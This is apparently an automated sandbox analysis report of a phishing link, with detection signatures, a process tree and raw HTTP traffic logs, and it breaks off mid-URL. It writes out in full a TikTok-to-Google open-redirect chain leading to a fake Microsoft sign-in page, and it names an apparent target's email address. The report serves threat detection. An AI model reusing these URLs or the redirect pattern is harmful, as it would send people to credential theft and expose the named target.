Edit tour

Windows Analysis Report
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhb

Overview

General Information

Sample URL:	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2
Analysis ID:	1590899
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2068,i,909759720540661782,17423666179409827010,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'automtionmscroftsecurityactivation-authenic.appfilevault.com' does not match the legitimate domain 'microsoft.com'., The URL contains misspellings such as 'automtion' and 'mscroft', which are common phishing tactics., The domain 'appfilevault.com' is not associated with Microsoft and appears suspicious., The presence of the input field 'Enter password' suggests an attempt to capture sensitive information, which is a common phishing strategy. DOM: 2.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.5.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://automtionmscroftsecurityactivation-autheni... The script demonstrates several high-risk behaviors, including dynamic code execution through the use of `atob()` to decode a potentially malicious value, and the use of obfuscated query strings to retrieve data. While the script appears to have some legitimate functionality related to parsing URL parameters, the overall behavior is concerning and requires further investigation.

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com

HTTP Parser: Number of links: 0

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: Invalid link: Privacy statement
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: Invalid link: Privacy statement
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: Invalid link: Privacy statement

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com

HTTP Parser: <input type="password" .../> found

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No favicon
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No favicon
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No favicon
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No favicon
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No favicon

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="author".. found
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="author".. found
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="author".. found

Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="copyright".. found
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="copyright".. found
Source: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.com to https://jobuli.in/winner/sxtxg/bwfyc2hhlnjvd2xhbmray2hlcm9rzwvicmljay5jb20=

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20%3D%3F0s57db%3DMTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm&safe=active HTTP/1.1Host: google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20%3D%3F0s57db%3DMTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm&safe=active HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?q=https://www.google.com/url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
Source: global traffic	HTTP traffic detected: GET /url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
Source: global traffic	HTTP traffic detected: GET /url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1